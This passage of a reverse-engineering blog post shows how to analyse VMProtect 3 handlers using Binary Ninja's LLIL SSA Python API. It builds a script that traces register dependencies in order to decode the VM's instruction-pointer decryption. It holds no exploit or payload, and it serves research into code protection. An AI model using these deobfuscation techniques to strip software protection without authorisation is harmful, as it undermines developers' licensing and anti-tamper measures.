<span class="hljs-number">005</span>bed54      int32_t eax_8 = rol.d(not.d((*(ror.d(esi_4 ^ <span class="hljs-number">0x27e9128c</span>, <span class="hljs-number">1</span>) - <span class="hljs-number">3</span>) ^ (ror.d(esi_4 ^ <span class="hljs-number">0x27e9128c</span>, <span class="hljs-number">1</span>) + <span class="hljs-number">1</span>)) - <span class="hljs-number">0x5ca20a41</span>) - <span class="hljs-number">0x40d54c06</span>, <span class="hljs-number">2</span>)
<span class="hljs-number">005</span>bed61      int32_t var_e8 = <span class="hljs-number">0x5bed29</span> + eax_8
<span class="hljs-number">005</span>bed62      <span class="hljs-keyword">return</span> eax_8
</code></pre><p>It's a little bit hard to follow, partially because VMProtect is well known for using a lot of junk instructions. If we clean up the ASM it looks like this:</p>
<pre><code>push    esi
push    edx
push    ebx
push    eax
push    ecx
push    edi
push    ebp
pushfd
mov     eax, <span class="hljs-number">0x0</span> <span class="hljs-comment">// this gets relocated</span>
push    eax
mov     esi, dword [esp+<span class="hljs-number">0x28</span>] <span class="hljs-comment">// encrypted VIP</span>
inc     esi
neg     esi
xor     esi, <span class="hljs-number">0x27e9128c</span>
ror     esi, <span class="hljs-number">0x1</span>
inc     esi
lea     esi, [esi+eax]
mov     ebp, esp
lea     esp, [esp<span class="hljs-number">-0xc0</span>]
mov     ebx, esi
mov     eax, <span class="hljs-number">0x0</span> <span class="hljs-comment">// this gets relocated</span>
sub     ebx, eax
lea     edi, [<span class="hljs-number">0x5bed29</span>]
lea     esi, [esi<span class="hljs-number">-0x4</span>]
mov     eax, dword [esi]
xor     eax, ebx
lea     eax, [eax<span class="hljs-number">-0x5ca20a41</span>]
not     eax
sub     eax, <span class="hljs-number">0x40d54c06</span>
rol     eax, <span class="hljs-number">0x2</span>
xor     ebx, eax
add     edi, eax
push    edi
retn <span class="hljs-comment">// obfuscated jump to first VM handler</span>
</code></pre><p>This is a little yuck for us, even once we've removed the junk instructions by hand. Effectively, it pushes all the registers and flags, decrypts the VIP that is passed as the only argument on the stack, initialises the stream cipher with this, then decrypts the first instruction handler pointer and jumps to it. If we look at the way the HLIL has been done, you can see this actually sums this up fairly well for us. If we change to SSA view we can make sure nothing is getting clobbered that we care about:</p>
<pre><code><span class="hljs-number">005</span>bed54      int32_t eax_8#<span class="hljs-number">1</span> = rol.d(not.d((*(ror.d(esi_4#<span class="hljs-number">1</span> ^ <span class="hljs-number">0x27e9128c</span>, <span class="hljs-number">1</span>) - <span class="hljs-number">3</span>) @ mem#<span class="hljs-number">2</span> ^ (ror.d(esi_4#<span class="hljs-number">1</span> ^ <span class="hljs-number">0x27e9128c</span>, <span class="hljs-number">1</span>) + <span class="hljs-number">1</span>)) - <span class="hljs-number">0x5ca20a41</span>) - <span class="hljs-number">0x40d54c06</span>, <span class="hljs-number">2</span>)
<span class="hljs-number">005</span>bed61      int32_t var_e8#<span class="hljs-number">1</span> = <span class="hljs-number">0x5bed29</span> + eax_8#<span class="hljs-number">1</span>
<span class="hljs-number">005</span>bed62      <span class="hljs-keyword">return</span> eax_8#<span class="hljs-number">1</span>
</code></pre><p>The value of <code>var_e8#1</code> is what we're most interested in as in practice we aren't returning anything, we are jumping to that location. Because we've put this in SSA view, we can be confident when we look back up the view to see this is only based on <code>esi#1</code>, and this is defined earlier:</p>
<pre><code>int32_t esi_4#<span class="hljs-number">1</span> = neg.d(arg5#<span class="hljs-number">0</span> + <span class="hljs-number">1</span>) <span class="hljs-comment">// arg5 is actually the only arg pushed on the stack</span>
</code></pre><p>So if we want to find the address of the first handler, we just need to get the original encrypted VIP passed on the stack (0xd8cb8f6d in this case), and we can evaluate this equation ourself to get the first handler at <code>0x5babbd</code>. Looking at the first handler in the HLIL though, we can see we need to look a little deeper to get the information we want:</p>
<pre><code><span class="hljs-number">005</span>babc7      arg1#<span class="hljs-number">1.</span>b = arg1#<span class="hljs-number">0.</span>b &amp; nullptr
<span class="hljs-number">005</span>babcc      uint32_t eax
<span class="hljs-number">005</span>babcc      eax#<span class="hljs-number">1.</span>b = *(arg3#<span class="hljs-number">0</span> - <span class="hljs-number">1</span>) @ mem#<span class="hljs-number">0</span> ^ <span class="hljs-number">0xa7</span>
<span class="hljs-number">005</span>babde      eax#<span class="hljs-number">2.</span>b = not.b(eax#<span class="hljs-number">1.</span>b)
<span class="hljs-number">005</span>babe0      eax#<span class="hljs-number">3.</span>b = eax#<span class="hljs-number">2.</span>b - <span class="hljs-number">0xa3</span>
<span class="hljs-number">005</span>babe2      eax#<span class="hljs-number">4.</span>b = rol.b(eax#<span class="hljs-number">3.</span>b, <span class="hljs-number">1</span>)
<span class="hljs-number">005</span>babea      eax#<span class="hljs-number">5.</span>b = eax#<span class="hljs-number">4.</span>b + <span class="hljs-number">1</span>
<span class="hljs-number">005</span>babee      eax#<span class="hljs-number">6.</span>b = ror.b(eax#<span class="hljs-number">5.</span>b, <span class="hljs-number">1</span>)
<span class="hljs-number">005</span>babf0      int32_t ebx
<span class="hljs-number">005</span>babf0      ebx#<span class="hljs-number">1.</span>b = <span class="hljs-number">0xa7</span> ^ eax#<span class="hljs-number">6.</span>b
<span class="hljs-number">005</span>babfd      *(&amp;__return_addr + eax#<span class="hljs-number">6</span>) @ mem#<span class="hljs-number">0</span> @ mem#<span class="hljs-number">1</span> = *arg2#<span class="hljs-number">0</span> @ mem#<span class="hljs-number">0</span> @ mem#<span class="hljs-number">0</span>
⋯<span class="hljs-number">005</span>bac3d      jump(arg4#<span class="hljs-number">0</span> + rol.d(not.d((*(arg3#<span class="hljs-number">0</span> - <span class="hljs-number">5</span>) @ mem#<span class="hljs-number">1</span> ^ ebx#<span class="hljs-number">1</span>) - <span class="hljs-number">0x5ca20a41</span>) - <span class="hljs-number">0x40d54c06</span>, <span class="hljs-number">2</span>))
</code></pre><p>Where is <code>ebx#0</code>? What is <code>*(&amp;__return_addr + eax#6)</code>? From what I can see, a big part of the problem is that Binary Ninja is assuming that the functions we reverse are playing along nicely with the x86 standard, and for example, that <code>esp</code> is the stack pointer and that it holds a reference to a return address. I had a play with trying to extract something useful out of the HLIL and MLIL, but I had a hard time with the following:</p>
<ul>
<li>If you follow the AST back to the input arguments, there's no direct way to see if they're backed by variables. You can do this by checking the function type information but it's a little clunky</li>
<li>We really want to track the key registers that drive the VMProtect virtual machine, and the MLIL and HLIL views are a little bit abstracted from the assembly, so it's not the best tool for the job</li>
</ul>
<p>That leaves us with the LLIL, and the short answer is, this gives us the sweet spot where we're very close to the original assembly, but also have some of the heavy lifting (SSA and lifting into IL) done for us.</p>
<p>VMProtect 3 has been described elsewhere (<a target="_blank" href="https://whereisr0da.github.io/blog/posts/2021-02-16-vmp-3/">here</a> and <a target="_blank" href="https://www.mitchellzakocs.com/blog/vmprotect3">here</a> among others), and the basic idea is this:</p>
<ul>
<li><code>esi</code> is the virtual instruction pointer, <code>VIP</code></li>
<li><code>edi</code> is the offset of the current VM handler (opcodes are offsets from the previous handler so we need to track this)</li>
<li><code>esp</code> is the offset to the scratch registers</li>
<li><code>ebp</code> is the stack pointer for the VM</li>
<li><code>ebx</code> is the stream cipher that is used to decrypt the stream of opcodes</li>
</ul>
<p>If we can see what these registers resolve to at the end of the handler then we can find the address of the next handler, and profile the current one to automatically identify it. Firstly though, let's start getting into how the interface works</p>
<h2 id="heading-accessing-llil-instructions-from-the-python-console">Accessing LLIL instructions from the Python Console</h2>
<p>Click on an instruction to highlight it, and get the function that holds this (the functions we need hang off the <code>binaryninja.function.Function</code> class):</p>
<pre><code>&gt;&gt;&gt; func = bv.get_functions_containing(here)[<span class="hljs-number">0</span>]
&gt;&gt;&gt; func
&lt;func: x86@<span class="hljs-number">0x5babbd</span>&gt;
</code></pre><p>It's possible that <code>bv.get_functions_containing()</code> could return multiple functions (or none, if we're outside a function), but let's live dangerously here and assume there's only going to be one function returned. From here, we want to get the LLIL in SSA form:</p>
<pre><code>&gt;&gt;&gt; llil_ssa = func.llil.ssa_form
&gt;&gt;&gt; llil_ssa
&lt;llil func: x86@<span class="hljs-number">0x5babbd</span>&gt;
&gt;&gt;&gt; llil_ssa.registers
[&lt;reg ecx&gt;, &lt;reg esp&gt;, &lt;reg ebp&gt;, &lt;reg edx&gt;, &lt;reg eax&gt;, &lt;reg esi&gt;, &lt;reg ebx&gt;, &lt;reg temp1&gt;, &lt;reg edi&gt;, &lt;reg temp0&gt;]
&gt;&gt;&gt; llil_ssa.ssa_registers
[&lt;ssa ecx version 0&gt;, &lt;ssa ecx version 1&gt;, &lt;ssa ecx version 2&gt;, &lt;ssa ecx version 3&gt;, &lt;ssa ecx version 4&gt;, &lt;ssa ecx version 5&gt;, &lt;ssa ecx version 6&gt;, &lt;ssa ecx version 7&gt;, &lt;ssa esp version 0&gt;, &lt;ssa ebp version 0&gt;, &lt;ssa ebp version 1&gt;, &lt;ssa edx version 0&gt;, &lt;ssa eax version 1&gt;, &lt;ssa eax version 2&gt;, &lt;ssa eax version 3&gt;, &lt;ssa eax version 4&gt;, &lt;ssa eax version 5&gt;, &lt;ssa eax version 6&gt;, &lt;ssa eax version 7&gt;, &lt;ssa eax version 8&gt;, &lt;ssa eax version 9&gt;, &lt;ssa eax version 10&gt;, &lt;ssa eax version 11&gt;, &lt;ssa eax version 12&gt;, &lt;ssa eax version 13&gt;, &lt;ssa eax version 14&gt;, &lt;ssa eax version 15&gt;, &lt;ssa eax version 16&gt;, &lt;ssa esi version 0&gt;, &lt;ssa esi version 1&gt;, &lt;ssa esi version 2&gt;, &lt;ssa ebx version 0&gt;, &lt;ssa ebx version 1&gt;, &lt;ssa ebx version 2&gt;, &lt;ssa temp1 version 1&gt;, &lt;ssa edi version 0&gt;, &lt;ssa edi version 1&gt;, &lt;ssa temp0 version 1&gt;]
&gt;&gt;&gt; llil_ssa[0]
&lt;llil: esi#1 = esi#0 - 1&gt;
&gt;&gt;&gt; llil_ssa[1]
&lt;llil: eax#1 = zx.d([esi#1].b @ mem#0)&gt;
</code></pre><p>From here we can access both the base registers and their SSA forms. At a glance, we can see <code>eax</code> gets heavily used, whereas <code>edi</code> and <code>esi</code> don't see a huge amount of action. We can also subscript the <code>llil.ssa_form</code> object, which returns instructions for each line in the view.</p>
<p>At this point it's going to be quite useful to look at the <a target="_blank" href="https://api.binary.ninja/binaryninja.lowlevelil-module.html">LLIL docs</a>. There are two main types of instructions we'll care about here:</p>
<pre><code>&gt;&gt;&gt; llil_ssa[<span class="hljs-number">1</span>]
&lt;llil: eax#<span class="hljs-number">1</span> = zx.d([esi#<span class="hljs-number">1</span>].b @ mem#<span class="hljs-number">0</span>)&gt;
&gt;&gt;&gt; type(llil_ssa[<span class="hljs-number">1</span>])
&lt;<span class="hljs-class"><span class="hljs-keyword">class</span> '<span class="hljs-title">binaryninja</span>.<span class="hljs-title">lowlevelil</span>.<span class="hljs-title">LowLevelILSetRegSsa</span>'&gt;
&gt;&gt;&gt; <span class="hljs-title">llil_ssa</span>[5]
&lt;<span class="hljs-title">llil</span>: <span class="hljs-title">eax</span>#2.<span class="hljs-title">al</span> </span>= eax#<span class="hljs-number">1.</span>al ^ ebx#<span class="hljs-number">0.</span>bl&gt;
&gt;&gt;&gt; type(llil_ssa[<span class="hljs-number">5</span>])
&lt;<span class="hljs-class"><span class="hljs-keyword">class</span> '<span class="hljs-title">binaryninja</span>.<span class="hljs-title">lowlevelil</span>.<span class="hljs-title">LowLevelILSetRegSsaPartial</span>'&gt;</span>
</code></pre><p>As you can probably guess from the name, the <code>LowLevelILSetRegSsa</code> class represents a register being set to a new value, whereas the <code>LowLevelILSetRegSsaPartial</code> class represents part of the register being set, e.g. <code>bl</code>, which is the low byte of <code>ebx</code>, or <code>si</code>, which is the low word of <code>esi</code>. As far as I could tell, all the instructions subclass <code>LowLevelILInstruction</code> directly, rather than subclassing something more specific like a <code>LowLevelILAssignment</code> class, so we need to handle these directly. It's important to note that various instructions that modify flags but otherwise don't do anything get represented here too, and you often find these in the junk code, for example:</p>
<pre><code>&gt;&gt;&gt; llil_ssa[<span class="hljs-number">7</span>]
&lt;llil: esi#<span class="hljs-number">1</span> &amp; <span class="hljs-number">0x4de74ba7</span>&gt;
&gt;&gt;&gt; type(llil_ssa[<span class="hljs-number">7</span>])
&lt;<span class="hljs-class"><span class="hljs-keyword">class</span> '<span class="hljs-title">binaryninja</span>.<span class="hljs-title">lowlevelil</span>.<span class="hljs-title">LowLevelILAnd</span>'&gt;
&gt;&gt;&gt; <span class="hljs-title">bv</span>.<span class="hljs-title">get_disassembly</span>(<span class="hljs-title">llil_ssa</span>[7].<span class="hljs-title">address</span>)
'<span class="hljs-title">test</span>    <span class="hljs-title">esi</span>, 0<span class="hljs-title">x4de74ba7</span>'</span>
</code></pre><p>The good news is we shouldn't have to worry about this as we'll just be tracking register definitions (although this will be a pain later when we get to managing flags). If we look at these objects, we have a few parameters that we care about:</p>
<pre><code>&gt;&gt;&gt; llil_ssa[<span class="hljs-number">1</span>]
&lt;llil: eax#<span class="hljs-number">1</span> = zx.d([esi#<span class="hljs-number">1</span>].b @ mem#<span class="hljs-number">0</span>)&gt;
&gt;&gt;&gt; llil_ssa[<span class="hljs-number">1</span>].dest
&lt;ssa eax version <span class="hljs-number">1</span>&gt;
&gt;&gt;&gt; type(llil_ssa[<span class="hljs-number">1</span>].dest)
&lt;<span class="hljs-class"><span class="hljs-keyword">class</span> '<span class="hljs-title">binaryninja</span>.<span class="hljs-title">lowlevelil</span>.<span class="hljs-title">SSARegister</span>'&gt;
&gt;&gt;&gt; <span class="hljs-title">llil_ssa</span>[1].<span class="hljs-title">src</span>
&lt;<span class="hljs-title">llil</span>: <span class="hljs-title">zx</span>.<span class="hljs-title">d</span>([<span class="hljs-title">esi</span>#1].<span class="hljs-title">b</span> @ <span class="hljs-title">mem</span>#0)&gt;
&gt;&gt;&gt; <span class="hljs-title">type</span>(<span class="hljs-title">llil_ssa</span>[1].<span class="hljs-title">src</span>)
&lt;<span class="hljs-title">class</span> '<span class="hljs-title">binaryninja</span>.<span class="hljs-title">lowlevelil</span>.<span class="hljs-title">LowLevelILZx</span>'&gt;</span>
</code></pre><p>For a <code>LowLevelILSetRegSsa</code> object we can use the <code>dest</code> property to get the <code>SSARegister</code> that is being written to. In the <code>src</code> property we will see the tree of <code>LowLevelILInstruction</code> objects that will end with either registers or constants. For nearly all of these, we can use the <code>operands</code> property to access the nodes further up the tree:</p>
<pre><code>&gt;&gt;&gt; llil_ssa[<span class="hljs-number">40</span>]
&lt;llil: eax#<span class="hljs-number">15</span> = eax#<span class="hljs-number">14</span> - <span class="hljs-number">0x40d54c06</span>&gt;
&gt;&gt;&gt; type(llil_ssa[<span class="hljs-number">40</span>])
&lt;<span class="hljs-class"><span class="hljs-keyword">class</span> '<span class="hljs-title">binaryninja</span>.<span class="hljs-title">lowlevelil</span>.<span class="hljs-title">LowLevelILSetRegSsa</span>'&gt;
&gt;&gt;&gt; <span class="hljs-title">llil_ssa</span>[40].<span class="hljs-title">src</span>.<span class="hljs-title">operands</span>
[&lt;<span class="hljs-title">llil</span>: <span class="hljs-title">eax</span>#14&gt;, &lt;<span class="hljs-title">llil</span>: 0<span class="hljs-title">x40d54c06</span>&gt;]
&gt;&gt;&gt; [<span class="hljs-title">type</span>(<span class="hljs-title">x</span>) <span class="hljs-title">for</span> <span class="hljs-title">x</span> <span class="hljs-title">in</span> <span class="hljs-title">llil_ssa</span>[40].<span class="hljs-title">src</span>.<span class="hljs-title">operands</span>]
[&lt;<span class="hljs-title">class</span> '<span class="hljs-title">binaryninja</span>.<span class="hljs-title">lowlevelil</span>.<span class="hljs-title">LowLevelILRegSsa</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">binaryninja</span>.<span class="hljs-title">lowlevelil</span>.<span class="hljs-title">LowLevelILConst</span>'&gt;]
&gt;&gt;&gt; <span class="hljs-title">llil_ssa</span>[19]
&lt;<span class="hljs-title">llil</span>: <span class="hljs-title">ebx</span>#1.<span class="hljs-title">bl</span> </span>= ebx#<span class="hljs-number">0.</span>bl ^ eax#<span class="hljs-number">7.</span>al&gt;
&gt;&gt;&gt; type(llil_ssa[<span class="hljs-number">19</span>])
&lt;<span class="hljs-class"><span class="hljs-keyword">class</span> '<span class="hljs-title">binaryninja</span>.<span class="hljs-title">lowlevelil</span>.<span class="hljs-title">LowLevelILSetRegSsaPartial</span>'&gt;
&gt;&gt;&gt; <span class="hljs-title">llil_ssa</span>[19].<span class="hljs-title">src</span>.<span class="hljs-title">operands</span>
[&lt;<span class="hljs-title">llil</span>: <span class="hljs-title">ebx</span>#0.<span class="hljs-title">bl</span>&gt;, &lt;<span class="hljs-title">llil</span>: <span class="hljs-title">eax</span>#7.<span class="hljs-title">al</span>&gt;]
&gt;&gt;&gt; [<span class="hljs-title">type</span>(<span class="hljs-title">x</span>) <span class="hljs-title">for</span> <span class="hljs-title">x</span> <span class="hljs-title">in</span> <span class="hljs-title">llil_ssa</span>[19].<span class="hljs-title">src</span>.<span class="hljs-title">operands</span>]
[&lt;<span class="hljs-title">class</span> '<span class="hljs-title">binaryninja</span>.<span class="hljs-title">lowlevelil</span>.<span class="hljs-title">LowLevelILRegSsaPartial</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">binaryninja</span>.<span class="hljs-title">lowlevelil</span>.<span class="hljs-title">LowLevelILRegSsaPartial</span>'&gt;]</span>
</code></pre><p>Because this has been lifted directly from the assembly, we should generally see only one layer of instructions, unless it's a complex instruction like a <code>movsx</code> which will both access a memory location and zero extends it</p>
<pre><code>&gt;&gt;&gt; llil_ssa[<span class="hljs-number">1</span>]
&lt;llil: eax#<span class="hljs-number">1</span> = zx.d([esi#<span class="hljs-number">1</span>].b @ mem#<span class="hljs-number">0</span>)&gt;
&gt;&gt;&gt; llil_ssa[<span class="hljs-number">1</span>].src
&lt;llil: zx.d([esi#<span class="hljs-number">1</span>].b @ mem#<span class="hljs-number">0</span>)&gt;
&gt;&gt;&gt; llil_ssa[<span class="hljs-number">1</span>].src.src
&lt;llil: [esi#<span class="hljs-number">1</span>].b @ mem#<span class="hljs-number">0</span>&gt;
&gt;&gt;&gt; llil_ssa[<span class="hljs-number">1</span>].src.src.src
&lt;llil: esi#<span class="hljs-number">1</span>&gt;
&gt;&gt;&gt; bv.get_disassembly(llil_ssa[<span class="hljs-number">1</span>].address)
<span class="hljs-string">'movzx   eax, byte [esi]'</span>
</code></pre><p>We have all the pieces we need to build our extractor now. We could resolve the SSA registers directly and build complete ASTs, but I've chosen to just resolve each instruction one at a time and output something close to Python (you'll need to implement the <code>zx()</code> and <code>mem_read()</code> functions yourself).</p>
<h2 id="heading-building-the-extractor">Building the extractor</h2>
<p>We'll start with a simple function to get going:</p>
<pre><code>def resolve_dest(dest):
  <span class="hljs-keyword">if</span> type(dest) == SSARegister:
    <span class="hljs-keyword">return</span> <span class="hljs-string">"%s_%s"</span> % (dest.reg, dest.version)
  <span class="hljs-attr">else</span>:
    raise Exception(<span class="hljs-string">"Couldn't resolve destination %s type %s"</span> % (dest, type(dest)))
</code></pre><p>We can copy-paste this directly into the python console and call it whenever we like. Let's try this - select an instruction (I'm going to do line 1 in the LLIL in SSA form), and execute this:</p>
<pre><code>&gt;&gt;&gt; bv.get_functions_containing(here)[<span class="hljs-number">0</span>].get_llil_at(here)
&lt;llil: eax = zx.d([esi].b)&gt;
&gt;&gt;&gt; bv.get_functions_containing(here)[<span class="hljs-number">0</span>].get_llil_at(here).ssa_form
&lt;llil: eax#<span class="hljs-number">1</span> = zx.d([esi#<span class="hljs-number">1</span>].b @ mem#<span class="hljs-number">0</span>)&gt;
&gt;&gt;&gt; bv.get_functions_containing(here)[<span class="hljs-number">0</span>].get_llil_at(here).ssa_form.dest
&lt;ssa eax version <span class="hljs-number">1</span>&gt;
&gt;&gt;&gt; resolve_dest(bv.get_functions_containing(here)[<span class="hljs-number">0</span>].get_llil_at(here).ssa_form.dest)
<span class="hljs-string">'eax_1'</span>
</code></pre><p>That was pretty easy. Let's try resolving the sources. I've decided to do this through a loop rather than through recursion, partially because I got confused debugging this when I tried it the recursive way, and partially because I haven't done it this way for a while and needed the practice. What we do is we do a depth first traversal of the tree, ordering objects in our <code>todo</code> array, and adding any non-leaf nodes back onto the <code>sources</code> array to make sure we traverse them too:</p>
<pre><code>sources = [source]
todo = []
output = []
<span class="hljs-keyword">while</span> sources:
  source = sources.pop()
  <span class="hljs-keyword">if</span> type(source) <span class="hljs-keyword">in</span> [LowLevelILSub, LowLevelILZx, LowLevelILSx, LowLevelILAnd, LowLevelILXor, LowLevelILOr, LowLevelILNot, LowLevelILLsl, LowLevelILLsr, LowLevelILRol, LowLevelILRor, LowLevelILAdd]:
    todo.append(source)
    <span class="hljs-keyword">for</span> operand <span class="hljs-keyword">in</span> source.operands:
      sources.append(operand)
  elif type(source) <span class="hljs-keyword">in</span> [LowLevelILLoadSsa]:
    # operands are [src, src_memory] and src_memory is just an int ref we don<span class="hljs-string">'t want
    todo.append(source)
    sources.append(source.src)
  elif type(source) in [LowLevelILConst, LowLevelILRegSsa, LowLevelILRegSsaPartial]:
    todo.append(source)
  else:
    raise Exception("Couldn'</span>t process instruction %s type %s<span class="hljs-string">" % (source, type(source)))</span>
</code></pre><p>Now we can process the outputs. Some of the assignments will be directly setting a value, so we can handle these first:</p>
<pre><code><span class="hljs-keyword">if</span> type(value) == LowLevelILConst:
  output.append(hex(value.constant))
elif type(value) == LowLevelILRegSsa:
  output.append(<span class="hljs-string">"%s_%s"</span> % (value.src.reg.name, value.src.version))
elif type(value) == LowLevelILRegSsaPartial:
  result = <span class="hljs-string">"(%s &amp; %s_%s)"</span> % (hex(masks[value.src.name]), value.full_reg.reg.name, value.full_reg.version)
  <span class="hljs-keyword">if</span> value.src.name <span class="hljs-keyword">in</span> shifts:
    result = <span class="hljs-string">"(%s %s)"</span> % (result, shifts[value.src.name])
  output.append(result)
</code></pre><p>Feel free to ignore the <code>LowLevelILRegSsaPartial</code> implementation here, or skip forward to the source to see how this all hooks up. This is always going to be an implementation decision, and a framework like <a target="_blank" href="https://triton-library.github.io/">Triton</a> has complex objects for registers that manage the smaller parts, but I've chosen here just to mask things, which complicates the output, but it makes it easy to follow. We could easily decide here to resolve the registers and insert them in place if we wanted to build an AST, this is an exercise for the reader.</p>
<p>Note: python doesn't have unsigned integers, and things will behave weirdly when we have negative numbers interacting with bitwise arithmetic. I haven't implemented this very carefully and there will be bugs with this.</p>
<p>Disclaimers aside, all we need to do is print out a representation of the constants and registers we come across, they will be the leaf nodes.</p>
<p>Most of the rest look more or less the same, I've chosen to output textual representations of these, but there's no reason we couldn't output other objects that can perform the calculations themselves.</p>
<pre><code>elif type(value) == LowLevelILAdd:
  rhs = output.pop()
  lhs = output.pop()
  output.append(<span class="hljs-string">"(%s + %s)"</span> % (lhs, rhs))
elif type(value) == LowLevelILSub:
  rhs = output.pop()
  lhs = output.pop()
</code></pre><p>Finally, we resolve the assignments:</p>
<pre><code><span class="hljs-keyword">if</span> type(assignment) == LowLevelILSetRegSsa:
  <span class="hljs-keyword">return</span> <span class="hljs-string">"%s = %s"</span> % (resolve_dest(assignment.dest), resolve_source(assignment.src))
elif type(assignment) == LowLevelILSetRegSsaPartial:
  previous_version = <span class="hljs-string">"%s_%s"</span> % (assignment.full_reg.reg, assignment.full_reg.version - <span class="hljs-number">1</span>)
  output = resolve_dest(assignment.full_reg)
  original = <span class="hljs-string">"(%s &amp; %s)"</span> % (hex(inverse_masks[assignment.dest.name]), previous_version)
  change = <span class="hljs-string">"(%s &amp; %s)"</span> % (hex(masks[assignment.dest.name]), resolve_source(assignment.src))
  full_src = <span class="hljs-string">"%s &amp; %s"</span> % (original, change)
  <span class="hljs-keyword">if</span> assignment.dest.name <span class="hljs-keyword">in</span> shifts:
    full_src = <span class="hljs-string">"(%s %s)"</span> % (full_src, shifts[assignment.dest.name])
  <span class="hljs-keyword">return</span> <span class="hljs-string">"%s = %s"</span> % (output, full_src)
</code></pre><p>We've outsourced the source and destination resolution so the <code>LowLevelILSetRegSsa</code> case is very straightforward, and the <code>LowLevelILSetRegSsaPartial</code> just adds a bunch of masking and shifting to make the partial registers behave correctly.</p>
<h2 id="heading-looking-up-dependencies">Looking up dependencies</h2>
<p>The goal is to extract the operations from the handler, so let's resolve all dependent registers back to the top and output all the lines we need to calculate the outputs ourselves.</p>
<pre><code>def find_all_dependent_registers(func, llil_ssa, base_assignment):
  assignments = [base_assignment]
  output_assignments = []
  <span class="hljs-keyword">while</span> assignments:
    assignment = assignments.pop()
    log_info(<span class="hljs-string">"Analysing assignment %s"</span> % assignment)
    output_assignments.append(assignment)
    dependent_registers = find_dependent_registers(assignment)
    <span class="hljs-keyword">for</span> register <span class="hljs-keyword">in</span> dependent_registers:
      log_info(<span class="hljs-string">"Adding dependent register %s"</span> % register)
      assignment = llil_ssa.get_ssa_reg_definition(register)
      <span class="hljs-keyword">if</span> assignment:
        log_info(<span class="hljs-string">"Defined at: %s"</span> % assignment)
        assignments.append(assignment)
      <span class="hljs-attr">else</span>:
        log_info(<span class="hljs-string">"Register %s has no definition, skipping"</span> % register)
  # convert to pythonesque
  output_python = []
  <span class="hljs-keyword">while</span> output_assignments:
    output_python.append(resolve_assignment(output_assignments.pop()))
  <span class="hljs-keyword">return</span> output_python
</code></pre><p>We use the <code>get_ssa_reg_definition()</code> to find where our registers are defined, and then apply the same iterative depth-first traversal as before. This leaves us with a bunch of assignments in an array. We want to start from the top so we read this array back in reverse, and the <code>resolve_assignment()</code> function generates the output code we want. This will produce duplicate lines of code and we could remove these from the <code>output_python</code> array if we want, but SSA should mean all of our lines are idempotent so it shouldn't hurt to repeat them.</p>
<p>We'll add some helper functions too, in case we want to start from a specific address, or use a register name to find the final SSA version of it and calculate for this.</p>
<p>So what does the output look like?</p>
<pre><code>&gt;&gt;&gt; print(<span class="hljs-string">"\n"</span>.join(find_all_dependent_registers_from_register_name(func, <span class="hljs-string">"esi"</span>)))
esi_1 = (esi_0 - <span class="hljs-number">0x1</span>)
esi_2 = (esi_1 - <span class="hljs-number">0x4</span>)
&gt;&gt;&gt; print(<span class="hljs-string">"\n"</span>.join(find_all_dependent_registers_from_register_name(func, <span class="hljs-string">"edi"</span>)))
esi_1 = (esi_0 - <span class="hljs-number">0x1</span>)
eax_1 = zx(read_mem(esi_1,<span class="hljs-number">1</span>), <span class="hljs-number">4</span>)
eax_2 = (<span class="hljs-number">0xffffff00</span> &amp; eax_1) &amp; (<span class="hljs-number">0xff</span> &amp; ((<span class="hljs-number">0xff</span> &amp; eax_1) ^ (<span class="hljs-number">0xff</span> &amp; ebx_0)))
eax_3 = (<span class="hljs-number">0xffffff00</span> &amp; eax_2) &amp; (<span class="hljs-number">0xff</span> &amp; not((<span class="hljs-number">0xff</span> &amp; eax_2), <span class="hljs-number">1</span>))
eax_4 = (<span class="hljs-number">0xffffff00</span> &amp; eax_3) &amp; (<span class="hljs-number">0xff</span> &amp; ((<span class="hljs-number">0xff</span> &amp; eax_3) - <span class="hljs-number">-0x5d</span>))
eax_5 = (<span class="hljs-number">0xffffff00</span> &amp; eax_4) &amp; (<span class="hljs-number">0xff</span> &amp; (<span class="hljs-number">0xFF</span> &amp; (((<span class="hljs-number">0xff</span> &amp; eax_4) &lt;&lt; <span class="hljs-number">0x1</span>) | ((<span class="hljs-number">0xff</span> &amp; eax_4) &gt;&gt; (<span class="hljs-number">8</span> - <span class="hljs-number">0x1</span>)))))
eax_6 = (<span class="hljs-number">0xffffff00</span> &amp; eax_5) &amp; (<span class="hljs-number">0xff</span> &amp; ((<span class="hljs-number">0xff</span> &amp; eax_5) + <span class="hljs-number">0x1</span>))
eax_7 = (<span class="hljs-number">0xffffff00</span> &amp; eax_6) &amp; (<span class="hljs-number">0xff</span> &amp; (<span class="hljs-number">0xFF</span> &amp; (((<span class="hljs-number">0xff</span> &amp; eax_6) &gt;&gt; <span class="hljs-number">0x1</span>) | ((<span class="hljs-number">0xff</span> &amp; eax_6) &lt;&lt; (<span class="hljs-number">8</span> - <span class="hljs-number">0x1</span>)))))
ebx_1 = (<span class="hljs-number">0xffffff00</span> &amp; ebx_0) &amp; (<span class="hljs-number">0xff</span> &amp; ((<span class="hljs-number">0xff</span> &amp; ebx_0) ^ (<span class="hljs-number">0xff</span> &amp; eax_7)))
esi_1 = (esi_0 - <span class="hljs-number">0x1</span>)
esi_2 = (esi_1 - <span class="hljs-number">0x4</span>)
eax_11 = read_mem(esi_2,<span class="hljs-number">4</span>)
eax_12 = (eax_11 ^ ebx_1)
eax_13 = (eax_12 + <span class="hljs-number">-0x5ca20a41</span>)
eax_14 = not(eax_13, <span class="hljs-number">4</span>)
eax_15 = (eax_14 - <span class="hljs-number">0x40d54c06</span>)
eax_16 = (<span class="hljs-number">0xFFFFFFFF</span> &amp; ((eax_15 &lt;&lt; <span class="hljs-number">0x2</span>) | (eax_15 &gt;&gt; (<span class="hljs-number">32</span> - <span class="hljs-number">0x2</span>))))
edi_1 = (edi_0 + eax_16)
&gt;&gt;&gt; print(<span class="hljs-string">"\n"</span>.join(find_all_dependent_registers_from_register_name(func, <span class="hljs-string">"ebp"</span>)))
ebp_1 = (ebp_0 + <span class="hljs-number">0x4</span>)
&gt;&gt;&gt; print(<span class="hljs-string">"\n"</span>.join(find_all_dependent_registers_from_register_name(func, <span class="hljs-string">"esp"</span>)))

&gt;&gt;&gt; print(<span class="hljs-string">"\n"</span>.join(find_all_dependent_registers_from_register_name(func, <span class="hljs-string">"ebx"</span>)))
esi_1 = (esi_0 - <span class="hljs-number">0x1</span>)
eax_1 = zx(read_mem(esi_1,<span class="hljs-number">1</span>), <span class="hljs-number">4</span>)
